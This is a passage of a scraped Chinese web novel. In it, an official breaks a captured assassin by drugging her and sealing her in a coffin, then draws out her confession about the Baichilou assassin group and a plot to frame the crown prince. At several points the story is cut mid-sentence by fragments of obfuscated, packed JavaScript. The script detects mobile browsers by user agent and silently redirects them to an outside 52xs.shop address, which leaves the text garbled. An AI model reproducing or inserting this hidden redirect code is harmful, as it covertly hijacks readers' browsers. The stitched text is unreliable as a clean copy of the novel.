l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14407025|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 省事。你还不知道吧,前几日,官府已经剿灭了百尺楼的一个分坛,杀了一百多个武功不行的杀手,这些杀手都是被百尺楼舍弃的弃子。” 女杀手仍是坚持自己的看法:“不可能,大统领答应过会保护她的。” 云水谣不知道那个大统领到底给这女杀手画了什么饼,让她深信不疑。 云水谣有些无奈,道:“用刑算了。” 元景佑道:“大人,此人如此冥顽不灵,想必用刑也不肯招供的。” “招不招另说,我就想用刑,我忍她很久了。” 元景佑忍住笑,道:“是。只是此地没有刑具,是否将她带回雍州后再行处置?” “不,不能带回雍州。这里是灵台县地界,去向灵台县县令借一下衙门审问她。” 如果把人带回雍州,难免被吴长史知道。而吴长史很有可能跟幕后黑手是一伙的,自然要防着他。 此地离灵台县县衙不远,云水谣一行人很快就到了。 云水谣见到了灵台县令,说明来意,不过没有细说自己在查什么案子,只说自己抓到一个犯人,但是她不肯招供,所以要借用一下刑具。 元景佑出示了云水谣的官凭、告身等证明身份的东西,灵台县令虽惊讶于云水谣是个女官,倒也不怀疑其真实性,因此很快答应:“云长官要用公堂,只管自便。” 云水谣便坐在了主位上,灵台县令坐在侧首相陪。 云水谣命人搬来一些刑具,一一用在那女刺客身上。 可那女刺客就是紧闭着嘴,既不求饶,也不招供,铁了心要隐瞒到底。她的血和冷汗一起留下来,云水谣都有些不忍心,抬了抬手,道:“罢了,将她移交大理寺吧,本官是审不了她了。” 灵台县令小声对云水谣道:“大人,这种犯人都很能忍痛,您用普通的刑具是不行的。” 云水谣道:“难道还有更厉害的刑具?可是……” 云水谣又不忍将那女刺客折磨太过。 灵台县令微微一笑,对着云水谣耳语几句。云水谣惊讶:“这也行?” 灵台县令道:“只要您不说,我不说,又有什么关系?” 云水谣考虑了一下,决定用一下灵台县令所提供的方法。她也想快点审出点什么。如果将这女刺客移交大理寺,恐怕路上生什么变故。而且,就算能平安把她送进大理寺,大理寺的官员也未必撬得开她的嘴。到时候,幕后黑手再用什么方法继续构陷太子一党,云水谣这边离得太远,也不会知道。 虽然这个案子表面上跟云水谣没什么关系,但云水谣觉得,如果太子一党真是无辜的,那构陷他们的就是坏人。让坏人得了势,对云水谣以后的仕途并无好处。 因此,她不愿意袖手旁观,还是想还原这个案子的真相的。 于是,她宣布退堂,先将女刺客押进大牢,然后在元景佑的耳边说了几句话。 元景佑也很惊讶:“大人,这……这能行吗?” 86.棺材 云水谣道:“只能试试了。” “可是,如果真的这么做,将来让其他人知道了,恐怕对大人的官声不利。” “先度过眼前的难关再说。而且,我觉得为了获得证词,这样做并不过分。” 见云水谣坚持,元景佑便按照她的吩咐,去准备一些东西。 那女刺客被押进大牢后,心里并不担心。刚才虽然经历了一些刑罚,但这种程度的疼痛,对她来说不算什么。 自从她加入百尺楼,受刑也是她的必修课。她隔三差五就会被打,不是因为她做错了什么,而是为了培养她的耐痛能力。她能一路从普通杀手做到坛主这个位置,早已经过千锤百炼。 而且,她也看出云水谣不忍心用太重的刑罚,所以她不会有生命危险。 反正,她是不可能把自己知道的事情说出来的,这都是为了她女儿着想。 旁边放着一个茶壶和破旧的茶碗,她有些渴了,就自己倒了点水喝。 喝完,她竟晕了过去。 等她醒来时,却发现四周一片漆黑。 她本以为是天黑了,想坐起来,但是头却碰到了木板。她摸索着四周,发现自己好像被装在了棺材里。 她吓了一跳,想呼救,却发现哑穴被点了,她发不出声音。 多年的训练生涯,让她能在极端情况下保持冷静,分析局势。她迅速镇定下来,先看看这棺材是不是完全密闭的。还好,她摸到了一个通风口,那她就不至于被憋死。 她想用自己的武功破开棺材,却发现浑身软绵绵的,使不上劲。看来,是自己刚才喝的那杯茶水有问题。也不知道自己的武功是暂时消失,还是永远消失了。 接下来的时间,她用了很多方法企图自救,都失败了。她只能被迫躺在棺材里。 虽然暂时死不了,但眼前一片漆黑,身体又难以动弹的滋味,可真够难熬的。 也不知过了多久,她已经开始烦躁,很想出去走一走。这会谁要是能让她坐起来或站起来,她愿意付很多钱给那个人。 可是,并没有人解救她。她只能在棺材里翻来覆去的,略微活动一下。她已经饿得不行了,忽然摸到棺材里似乎有食物。她也不管三七二十一,直接把这些食物塞进嘴里,但嚼了之后差点吐出来。她所摸到的,不过是一些死去虫子的尸体,非常难吃。 但眼下,她只能吃这些,先活下去再说。 于是,她忍着恶心,把虫子尸体咽了下去。 她昏昏沉沉的,想睡觉,又睡不着;想让自己清醒一些,又做不到。 她的哑穴已经解了,她尝试着呼救,却无人听见。 她不知道自己是如何进到棺材里来的,莫非是刚才那个女官见自己不肯招供,恼羞成怒,干脆活埋了她?可是如果是活埋,为什么要给她留这么一个通风口? 这时,她眼前出现了一片亮光,云水谣正笑嘻嘻地看着她。 云水谣问道:“躺在棺材里的滋味如何?如果你不肯招供,我就让你在里面躺一辈子。” 女刺客见自己头上的棺材板被打开,赶紧坐了起来。接着她运行了一下自己的气血,发现武功已经恢复。她想飞出来,却觉得后背一凉,她的穴位又被人点住了。 元景佑把她提出来,放在树下。她这才发现,自己来到了一片荒山之中。周围只有云水谣、元景佑和几个护卫。 女刺客问云水谣:“你这是什么意思?” 云水谣道:“作为女官,我自然不能将你活埋一辈子。可作为侯府大小姐,我一向有仇必报。之前我好言相劝,你却不肯招认,那我只好让你求生不得,求死不能了。你想想,你后半辈子都要在棺材里度过,坐不起来,站不起来,只能躺着,也没法去茅房,屎尿只能黏在自己身上,平时只能吃虫子尸体。 我要是忘了给你送吃的,你就只能吃自己的排泄物了。我会挖一个数丈深的坑,让你就算呼救也无人听见。你今年才四十多岁吧,假如你活到八十岁,这种日子就要过三十多年……啧,想想都难受。” 这女刺客有些慌了,道:“不可能,你不会的……” “你怎么知道我不会?既然你不肯招供,那对我来说已经没有利用价值了。而且,无人知道是我带走了你。首先,你躲藏的地方很隐秘,恐怕百尺楼内也没几个人知道。 其次,谁也想不到,我竟能查到你的藏身之处,将你带走。你不见了,百尺楼自然会扶持新一任坛主。而你的女儿,就要日日思念你,直到她死的那一天。也许有一天,她会经过这里。但她绝想不到,她的母亲就埋在下面,只离她数丈远。” 这女刺客想了想云水谣描述的画面,不禁毛骨悚然。她不怕死,也不怕刑罚,可若余生都要在棺材里做活死人,那简直比死还可怕。这个时候,她已经无暇考虑其他了,她满脑子都是自己的生存问题。 挣扎了一会,她说道:“你赢了,我招认。但我有两个条件:第一,让我死个痛快;第二,如果将来我女儿落入你们手中,你们要饶她一命。” 云水谣微微一笑:“好吧,我答应你。那就从你叫什么名字说起。” “我叫李凤英,是百尺楼的坛主之一。” “王大兴是你的下属?” “他不是我的直系下属,他是松江县分坛的副坛主,我是另一个分坛的坛主。他只是职级在我之下,所以也要听我的。有时候我奉大统领之命,去他那儿带走一些新培养的杀手。” “你们大统领是谁?” “大统领每次见我们都戴着面具,我们没见过他的模样。” “你在百尺楼多久了?” “算上学武功的时间,已经三十二年。” “难道没有人知道大统领真正的身份?” “至少我不知道,其他人知不知道,我就不清楚了。” “三十二年……那你们大统领岂不是年纪很大了?” 李凤英道:“我不清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14414118|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚。我十几岁时一直被关在一个地方练武,练成之后被带到总坛,分到一位坛主名下。从那时开始,我就不停地执行任务。我所能接触到的最高上级,就是坛主和副坛主。三十四岁那年,我升为坛主,才第一次有资格去见大统领。 大统领是用假声说话,我分辨不出他的年纪,只知道是个男的。从我第一次见到大统领,一直到现在,他的身形、声音并未变化,应该是同一个人。但在我三十四岁之前的那些时间,大统领是不是他,我就不知道了,也许换过人。” 云水谣点头:“说说这次的案子吧。你们是如何布局的?” 李凤英道:“太复杂了,我不知道从哪里说起。” “最先发生的是工部官员被劫一事吧?先从这件事说起。” 李凤英:“几个月前,也就是去年的十月中旬,我们主子说有一批工部官员带着二十万两治河银两南下,让我们劫持那些官员,并劫走银两。但是官员先不要杀,银两也先别动。我带人完成了这件事,但官员和官银是另外两位坛主带走的,我并不知道他们将工部官员关在了何处,也不知道治河的官银被放在哪里。 百尺楼向来如此,每个人得到的任务都是碎片化的,没有人知道全貌。这样的事情,我们经常替主子做。以前,主子会把银两提走,但这次却让我们保存起来,我们不知道为什么,主子也没解释。” 云水谣问道:“主子?是你们大统领吗?” “不是,主子的地位比大统领更高,大统领也只是替主子做事的。” “原来如此,那你知道你们主子的身份吗?” “不知道,大统领可能知道,如果有一天抓到了他,可以问他。” 云水谣心想,自己连大统领是谁都不知道,如何抓他?百尺楼隐藏得太深,没法轻易剿灭,也只能做好打持久战的准备了。 李凤英说得口干舌燥,云水谣给她提供了水和食物。 她吃了之后,继续说道:“没过多久,大统领告诉我们,太子一党正在查我们主子的错处,且皇帝已经知道是百尺楼劫走了工部官员。所以主子决定,利用工部官员被劫一案,把太子一党套进去,同时要舍弃百尺楼一部分不重要的力量,让官府以为百尺楼被灭了。于是,一个计划就产生了。 主子得知,太子将要派詹事安正则外出做官。而安正则此行,其实有两个目的,一是替朝廷查清工部治河款项被劫一案,二是暗中调查我们主子的阴私之事。我们主子跟盐枭有合作,而此事似乎为太子所知,所以太子让安正则去调查,趁机扳倒主子。于是,我们决定先从安正则下手。” 云水谣问道:“你们先派出方彩杏,故意让她做出喜欢安正则的样子,然后让她偷偷跟随安正则去雍州,继续纠缠。安正则对她一再拒绝,她故意做出生气的样子,留书出走。两个月后,你再易容成方彩杏,刺瞎安正则。那么,别人就会以为安正则的事只是偶然事件,是因为感情纠纷。是不是这样?” 87.欺骗 “没错,你说的基本正确。安正则瞎了之后,我们派出了第二个人,易容成他的管家。” “原来的管家呢?” “被我们杀了。假管家潜伏在安正则身边,而安正则因为眼盲,并未发现假管家的破绽。假管家发现安府内有我们主子跟盐枭勾结的线索,偷偷销毁。几天后,安正则说要给太子寄年货,让假管家偷偷将查到的线索塞进去,太子收到年货后会翻看。假管家答应了,但实际上他塞进箱子里的并不是主子跟盐枭勾结的证据,而是一万两治河官银。我们要让太子得不到主子的罪证,反而惹上劫走官银的嫌疑。” “假管家是如何将一万两官银塞进箱子里而不被发现的?” “他把普通的箱子换成了特殊的箱子,那些箱子底部有夹层,银子可以放在里面。由于箱子底部空间有限,只能塞下一万两官银,不过也够了。只要让这些治河官银出现在太子府中,那太子就百口莫辩。而剩下的十九万两官银,则继续存放在原处。” “你知道剩下那十九万两官银放在何处吗?” “不知道,假管家应该知道,他也是百尺楼的副坛主之一。” 云水谣点头。这个李凤英应该不知道那些官银都存放在顾刺史的别院中。他们这些百尺楼的首领,分工合作,每人都只知道一部分。 云水谣又问道:“你们怎么确定太子一定会留下安正则运进去的箱子呢?万一他连箱子带物品全都送人了怎么办?” 李凤英道:“不会的,那些箱子本就是太子府的,安正则来雍州时用这些箱子装行李,但迟早要还回去的。虽然我们将箱子换了,但是外表还是做成了太子府箱子的样子,他们看不出来。太子府的物件都有专人保管,不能轻易丢失。 太子大概是翻看了箱子里的东西,发现都是普通特产,并没有我们主子的罪证,便以为安正则还未查出我们主子的罪证,寄送的不过是普通特产,因此便命人藏进库房了。他想不到,这些箱子底部有夹层,夹层里有治河官银。” 云水谣问:“雍州长史吴青峰,是不是你们的人?” “我不知道。” 李凤英应该没撒谎。不过云水谣可以推测,吴长史八成也是幕后黑手的人。 他给皇帝上了奏折,言明安正则等人的罪状,他也一定在奏折中提了,治河官银丢失了一万两,建议皇上彻查太子府。否则,皇帝怎么会想到要去搜太子府? 云水谣问道:“接下来呢?” “接下来的计划,我就不知道了。我把女儿安顿好后,因暂时无事,就躲在了潘园,略作休整,没想到被你们找到了。” “你没事时就会回潘园?” “对,很多年前,我就扮成老妪,在潘园找了一份扫地的活计。刀口舔血的日子过多了,我也想回归平淡。在潘园扫地的日子,是我过得最快乐的日子。可是,一旦组织有任务,我还是要离开。我在潘园的事,你们是怎么知道的?” “王大兴落入官府手中,我是通过他知道的。” 其实云水谣是通过徐二妞知道的,不过没必要细说,否则容易给徐二妞惹来麻烦。 李凤英摇头:“不可能,王大兴即便受刑,也不会出卖我。” “我没说是他出卖你的,我只是通过一些手段知道你的下落。不过我的手段不能告诉你。” “好吧。王大兴为何会落入官府手中?” “你不知道他去做什么了?” “我不知道。” 云水谣便把王大兴偷偷潜入安府,污蔑安正则是百尺楼密使的事大概说了。 李凤英点头道:“原来王大兴的任务是这样,只是他执行了这个任务,一定会死。” 云水谣问:“我很好奇,王大兴明知道他在这个局中扮演的是死士,为何会愿意去?” “没有人会自愿送死,但百尺楼有一百种方法逼你自愿。更何况,王大兴有妻儿,还不止一个孩子。组织规定,百尺楼成员的后代,也是要成为杀手的,没有别的选择。也许大统领对他承诺,可以让他的妻儿回归正常的日子,还会送她们一大笔钱,所以才让王大兴心甘情愿送命。像我们这样的人,是绝不愿意后代过我们的日子的。” “你的女儿为何会养在方轩举家中?” “因为方彩杏就是我和方轩举的女儿。” “你跟方轩举怎么会认识?” 她们一个是江湖杀手,一个是太子府的属官,按理说不会有交集才是。 李凤英道:“很久之前,我就厌倦了打打杀杀的生活,觉得生命没有意义。后来我想,如果我有个亲生的孩子,也许日子会有些盼头。可是,百尺楼的成员只能互相通婚,不能跟外人成亲,我们的后代也要继续做杀手,没有练武资质的孩子就要沦为杂役,一辈子打杂。 我不希望我的后代是这样的命运,因此我想瞒着组织,偷偷生一个孩子,也不成亲。生了之后把孩子远远送走,不让组织发现。哪怕我一辈子见不到那个孩子,但一想到我还有个后代留在世上,就觉得人生有了意义。 十七年前,方轩举还只是太子府的一个侍卫,有一次我在街上遇见了他,便有些心动,觉得跟他生个孩子也不错。于是,我便故意接近他。 我制造了多起偶遇,跟他相识。他对我似乎也有好感。我谎称自己是孤女,流落京城,举目无亲,他便对我多加照顾。一来二去,我们便产生了感情。他想过娶我,可我编造了一些借口,说自己不宜太早成亲,否则会有厄运。不过,我会在夜晚偷偷跟他相会。数次之后,我发现自己怀孕了,于是我便离开了。 趁着自己前几个月没有显怀,我又执行了几次任务,然后假装身受重伤,需要休养。然后,我就找了一个清静的地方养胎。足月之后,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14421161|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生下了一个女儿,坐完月子后便去找了方轩举,把女儿交给他。 方轩举问我这段时间去哪里了,他找我都快找疯了。我自然又编了一些借口骗他。我让他抚养女儿长大,但是我要离开了,再也不会去找他。他不愿意,我就点了他的昏睡穴,然后逃走了。十几年了,我始终没有去找过他们父女。” 云水谣问:“方轩举怎么确定女儿是他的?” 李凤英道:“女儿刚出生时,跟方轩举长得一模一样,一看就是他的孩子,所以他并未怀疑。他那时已经是个小军官了,身边有个侍妾。他一直找不到我,便把女儿记到侍妾名下,谎称是侍妾所生。” 云水谣:“那你后来怎么又去找女儿了?” 李凤英:“不是我去找的,是百尺楼发现我有个女儿,把她抓来的。那天,大统领找我,我一进门,就发现地上有个昏迷的姑娘。她长得跟我十分相似,且身上有我女儿的胎记,所以我一眼就认出,她是我女儿。 大统领说,我偷偷生了女儿,却不跟组织报备,本该责罚。但只要我跟我女儿一起执行一个计划,就可以免于责罚,还能给我女儿找一个好去处,不让她当杀手或是杂役。然后,大统领就把刺瞎安正则的计划说了。我说,我女儿恐怕不愿意做这件事。大统领说,无论我用什么方法,都必须说服我女儿。否则,她就会被杀。 等女儿醒后,我跟她相认,说我就是她的亲生母亲。但是我受过大统领的恩惠,必须报恩,我们母女俩要替他做一件事。完成之后,我就可以跟她回家,一家团聚了。她很开心,因为收养她的侍妾很早就过世了,方轩举后来娶的嫡妻对她并不好。在她心里,是很渴望母爱的。于是,她就问我要做什么。 我把计划跟她说了,她果然不同意。我便欺骗她说,太子一党都是坏人,除掉太子一党,是在做好事,百姓们都会因此而过上好日子。她相信了,因此便执行了刺瞎安正则的计划。” 云水谣道:“原来如此,难怪方彩杏会那么坚定地为你们所用。那你女儿现在在何处?” 李凤英却没说话。 云水谣再问,李凤英只说:“唯有这件事,我不能告诉你。” 云水谣道:“你是不是觉得,你幕后的主子一定会保护你女儿?可是你不想想,百尺楼是什么样的组织,你们的主子又是什么样的人,你女儿落在她们手里,难道真的会有好下场吗?他们这样的人,背信弃义的事情应该干得多了吧?” 李凤英犹豫了。百尺楼和幕后的主子什么样,她最清楚不过。一言九鼎乃是君子所为,但不是百尺楼一贯的作风。 于是,李凤英说道:“她被送到了我们的主子那里。主子承诺,会纳她为侧室。以后她生的孩子,就是小公子了。她和她的后代,都可以过上锦衣玉食的日子。” 云水谣摇头道:“真是好大一张饼,你自己信吗?” 88.隐瞒 李凤英道:“一开始算是信吧,毕竟我为百尺楼奉献几十年,在组织内也有一定的地位,而且我女儿很漂亮,主子愿意抬举她也很正常。当时我对大统领说,既然主子会娶我女儿,可否让我见见主子,但大统领拒绝了。他说我应该记得百尺楼的规矩,任何人不得打探主子的事。于是,我也就没再勉强。 当时我挺高兴的,因为我女儿终于有了一个好的出路。我猜测主子一定是朝中一个位高权重的人物,那么成为他的侧室也算是跨越了阶级。至于现在……我只能说,自己不敢不信。我不敢想象,如果主子不兑现承诺,他会如何对待我女儿。” 云水谣道:“你对于你的主人来说,是鹰犬。鹰犬的后代,他会如何看待?” “……” 李凤英无言以对。云水谣的话说得比较委婉,但李凤英还是明白了她的意思。自己以为女儿从此能出人头地,只是一厢情愿的幻想罢了。 但愿现在,女儿还活着…… 云水谣问:“所以你也不知道你女儿到底被藏在什么地方了?” 李凤英茫然地摇头:“我不知道。大统领说,我女儿圆满完成了任务,现在已经被送到主人那里了。以后只要我继续为百尺楼效力,我女儿一切都好。如果我有异心,我女儿也会受到惩罚。” 云水谣道:“其实从头到尾,你和你女儿都没有任何主动权。” 李凤英凄然道:“你说的没错。” 云水谣忽然问道:“我听说百尺楼的杀手会定期服用一种失忆药,但长时间不服用就会恢复记忆。你还记得你的出身来历吗?” 李凤英:“我不需要服用失忆药。我七岁那年,家乡大旱,我们一家和乡亲们一起逃亡。可附近的地方都遭遇了饥荒,没人愿意施舍我们食物。后来,我爹娘和大部分乡亲都饿死了,我也饿晕了过去。是百尺楼的人把我捡回去,养活我,所以我除了百尺楼之外,也没地方可以去了。” 云水谣有些唏嘘。一场天灾,就能让许多百姓成为流民。而这些流民,就像是风中的柳絮,不知会被吹往何方。有很多人就像李凤英一样,被吹往肮脏之地,被污泥绊住了脚步,无从脱身,越陷越深。 不过,现在不是同情心泛滥的时候。 云水谣继续问道:“你能说说百尺楼的组织架构吗?” 李凤英:“百尺楼有大统领一人,他的心腹称为密使,密使人数不定。百尺楼在全国各地有二十四个分坛,每个分坛有坛主一人、副坛主二人、执事四人,其余的人皆为杀手,打杂的是杂役。杀手按照武功高低,分为甲乙丙丁四等,其中甲等最高,丁等最低。” 云水谣明白了。之前吴长史剿灭的那一百多个杀手,应该都是丁等杀手,所以很容易就被杀死了。 云水谣:“百尺楼现在的总坛在哪里?” 李凤英:“我不能说。” “不该说的事你已经说了一大堆,这会才来保守秘密,不是太迟了吗?” “我……总之我不能害了其他人。” “百尺楼的人都是杀手,也不知道做了多少坏事,将她们绳之以法才是对的。也许有些人的罪责轻,被官府审判之后还能重新做人。” “你是官员,自然这样说。可对我而言,她们都是在几十年内陪伴我的人,我不管什么正义邪恶,那只是外界对我们的定义,很多时候我们都是身不由己。” 云水谣不屑地笑了:“其实你也不知道吧?你年纪大了,早就不是大统领的心腹了。” 李凤英柳眉倒竖:“你说什么?我怎么可能不知道?总坛……” 这时,她忽然笑了:“差点中了你这小妮子的激将法。” 云水谣实在是没辙了,这个李凤英实在难缠,论心眼,自己比不过她,果然不愧是刀山火海里滚出来的杀手头领。 这时,元景佑走上前,对李凤英道:“以你的身份,若是被送交官府,必死无疑。可你若能说出百尺楼总坛的下落,便算是戴罪立功,云大人可以保住你的性命,让你跟你女儿团聚。难道你希望你女儿刚认回亲娘,便又失去了吗?” 李凤英看着元景佑,神色有些迷茫和痛苦。她没想到自己还能活下去,还能跟女儿团聚。如果是这样,那戴罪立功对她来说吸引力很大。 可是,一旦说出总坛地址,她平时的朋友、下属可能都会因此而遇难。 云水谣没说话,让李凤英自己慢慢考虑。 元景佑却道:“李凤英,你以为你讲义气,其他人就会感激你吗?实话告诉你,你在潘园的消息,就是王大兴告诉我们的。之前云大人没直说,是怕你伤心。你想想,若不是王大兴亲口说的,我们还能从哪里得知你的住址? 你把她们当同伴,他们卖起你来却快得很。那些杀手本就不是什么好人,你又何须顾忌她们的性命?消灭了百尺楼,是为江湖、为百姓除一大害,也算是你的善果。” 这一番真假掺半的话,把李凤英说动了。她说道:“好吧,我告诉你们,百尺楼的总坛现在在归鸿山中。但你们不能贸然去攻打,百尺楼耳目众多,若是得知消息,很有可能会再次转移,或是设下埋伏,让你们损失惨重。” 云水谣道:“我们会仔细部署,多谢你告知。等把你送到大理寺时,我会密奏上官,言明你的功劳。” 李凤英问道:“你们真能救出我女儿?” “我们会尽力。” 李凤英现在已经不相信她幕后的主子会娶她女儿,所以一心希望再见到女儿。但云水谣并未承诺一定会救出方彩杏,李凤英心里又十分担忧。但她现在已经没法做什么了,只能听天由命。 按正常的流程,应该先把李凤英带回雍州府,让吴长史差人将她押送进京。 但云水谣现在并不相信吴长史,于是决定偷偷将李凤英送到大理寺接受审判。反正她也是雍州司马,如此行事也不能算错。 于是,她把元景佑拉到一边,嘱咐了他几句,让他亲自带领一队人马,押送李凤英进京。 元景佑道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14433910|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我若离开了,又不放心大人。” 云水谣笑道:“我又不是小孩了,而且我身边还有其他护卫呢。对了,之前你怎么知道那扫地老妪就是李凤英?” “直觉。算是混江湖时攒下的经验吧。” “你真厉害。” 云水谣觉得,凭自己的力量肯定没法剿灭百尺楼总坛,此事还需上报朝廷,让朝廷出兵剿灭。 但是,朝中有百尺楼的靠山,说不定百尺楼的幕后主子便是福王。如果云水谣真的上奏折,怕是会惊动幕后之人。到时候,百尺楼总坛再次转移,官军们找不到总坛,皇帝说不定会认为云水谣为了立功在胡说八道。 云水谣把这事跟元景佑商议,元景佑道:“这个好办,您写一封密信,言明百尺楼总坛地址,我把这密信转交给杜羽将军,然后再让他设法私下交给皇上。这样,便能绕开百官,不使幕后之人得知。” 云水谣点头:“这也算是个办法。只是,终究不符合流程,不知我会不会被人参奏一本。” “若是大人的密信真的能助朝廷剿灭百尺楼,那便算是大功一件,不合流程只是小节,皇上不会在意。” “嗯,也只能一试了。” 云水谣写好密信,交给元景佑,然后让元景佑率人直接押送李凤英进京。 而她自己略作休整,便骑马回到了雍州府。 来到衙门时,却见吴长史在这里等候,面色很不好。柳依依站在一边,战战兢兢的样子。 云水谣走了进去,笑道:“吴长史可是特意在此等候下官?” 吴长史不悦道:“云司马,这些天你去哪里了?” “下官去了雍州下辖各县统计人口。” “是吗?那你统计而来的户帖呢?” “户帖还未造好,等造好之后,再交给大人过目。” “那统计的草稿总有吧?” “草稿在下官的护卫长元景佑那里,等他回来时,自可给大人查看。” “他去哪里了?” “大人有所不知,元景佑以前流落江湖,结识了几个江湖朋友。他得知那几个朋友有难,去帮忙了,很快就回来。” “哼,他如今是朝廷官员,怎能擅离职守?” “大人说的是,只是他受过那几个朋友的恩惠,也不能不报答。等他回来,我会让他亲自来长史大人这里谢罪。” “这就免了,我怎敢让元世子给我谢罪?他既是你的护卫长,你约束他就是了。” 云水谣又唯唯诺诺地应了几句,吴长史终于走了。 柳依依道:“大人,您再不回来,我都不知道该如何应付吴长史了。” 云水谣笑道:“难为你了。不过,他恐怕得意不了多久了。” “大人此言何意?” “现在还不可说。” 如果一切顺利,安正则的案情能拨乱反正,而吴长史也确实是幕后黑手的下属,那吴长史自然会被问责。 现在,只需等待消息。 89.平反 几天后,却有京城的千牛卫二十人到来,带走了吴长史,并宣达皇帝口谕,雍州事务由云水谣暂时管理。 千牛卫也没多说什么,直接就把人带走了,其他属官人心惶惶,云水谣倒是猜到了几分。 她主理雍州事务,先把几件紧要的事务分配给各位属官,让他们各司其职。 又过了数日,元景佑回来了,还带回一个好消息:太子一党已经平反,安府的假管家已经承认他是百尺楼的人,是他假扮管家,偷偷在安正则运回太子府的箱子内塞入治河官银,污蔑太子。 至于顾刺史,也是被冤枉的。是吴长史偷走了他别院的钥匙,并把二十万两治河官银放在顾刺史的别院中,又偷偷拿了一万两治河官银给假管家,让假管家运送到太子府。 吴长史才是百尺楼的密使,安正则不是。所以,安正则被无罪释放,吴长史被问斩。太子洗脱了嫌疑,也不需要再被监视和禁足。 云水谣问:“那百尺楼的总坛呢?” 元景佑道:“皇上看了你的密信,得知了百尺楼总坛的地址,便让总坛附近的武将和刺史率兵前去剿灭,一共消灭杀手五百余人,缴获的金银财宝不计其数。” “百尺楼的大统领和幕后主子可揪出来了?” “福王抓了两个大盗,这两个大盗承认他们便是百尺楼的大统领和幕后主使。” “什么?福王说是就是吗?” “因为百尺楼的高层也并未见过大统领的真面目,更不知道幕后主子是谁,所以王大兴、李凤英和假管家他们,并没法辨认出那两个大盗是不是大统领和主人。而吴长史身为密使,是大统领的亲信,他应该是知道大统领身份的。他在皇上面前指认,那两个大盗中的一个便是大统领,增加了可信度。” “可吴长史也可以说谎啊。” “还有一个有力的证据。” “什么证据?” “在那两个大盗的住所,找到了李凤英的女儿方彩杏。李凤英不是说,她女儿被送给幕后主子了,幕后主子还要娶她吗?那既然方彩杏就在那两个大盗处,足可佐证大盗便是幕后主子。” “也可以是真正的幕后主使故意把方彩杏送到大盗的住处的。” “确实如此,可皇上已经结案了,将那两个大盗处斩。所以,皇上相信了福王的说辞,此案已就此了结。福王还因为抓到了那两个大盗,受到了皇上的嘉奖。” 云水谣摇头道:“百尺楼横亘江湖数十年,势力之大、实力之强,绝不是两个大盗能统领的。恐怕那两个人,也不过是替罪羊。之前我们分析,太子一党倒台,对福王最有好处。因为福王也是嫡子,只要太子没有继位的可能,那便轮到福王了。所以,百尺楼的幕后主子很有可能是福王,而百尺楼的大统领,应该是福王的下属或是亲信才对。” 元景佑道:“虽然这个猜测合情合理,可我们没有证据。继后和福王母子一向很得陛下宠爱,陛下不会轻易怀疑他的爱子。当年先皇后崩逝,在一众后妃中,柔妃脱颖而出,被立为继后,可见皇上最喜欢她。 所谓母爱者子抱,福王的势头已隐隐压过太子。先皇后人走茶凉,太子的日子越发不好过了。好在这次太子洗清了嫌疑,皇上也予以抚慰,以后还不知如何呢。不过大人在外做官,暂时接触不到这些。” 云水谣问:“顾刺史如何了?” “他已洗脱嫌疑,官复原职,已经在回来的路上了。” “那就好。方彩杏如何了?” “她参与了刺瞎安正则的计划,虽然安正则并非她亲手刺瞎,但皇上因爱惜安正则的人才,痛惜于他以后不能再为朝廷效力,因此对方彩杏母女非常生气。他下令刺瞎方彩杏母女的双眼,将她们关入女狱,拘禁八年之后方可出来。本来李凤英身为百尺楼高层,杀人无数,应该处死。但念在她检举百尺楼有功,故而免死,只是处以监禁之刑。至于方彩杏的父亲方轩举,因教女不善,被夺去官职,贬出京城,终身不能入京。” 云水谣有些唏嘘:“对方彩杏母女的责罚,也算公平合理。只是方彩杏有些无辜,她本是被自己的母亲和百尺楼欺骗,以为安正则和太子一党是坏人,才参与这个计划。不过现在留得性命,也算是不幸中的万幸了。只是,这次太子一党看似没有损失,但实际上太子损失了方轩举这员大将。方轩举什么都没做,却被自己的妻女牵连,夺去官职。” 元景佑道:“好在他们一家三口都留得性命,将来还是能团聚的。幕后之人算无遗策,这一局不管能不能扳倒太子,太子都会蒙受损失。安正则眼盲,太子和安家便有了裂痕。虽然太子是无辜的,但参与此事的,是太子府属官的妻女。 以后,理国公府虽然还是会支持太子,但更多是出于利益的考量,而不是像以前那样毫无隔阂了。且安正则眼盲,已经失去了继承安家的可能。理国公府内部,只怕还有得斗。而这样的结果,明显对幕后之人有利。斗争从未停止,只是从水面转到了水下。” 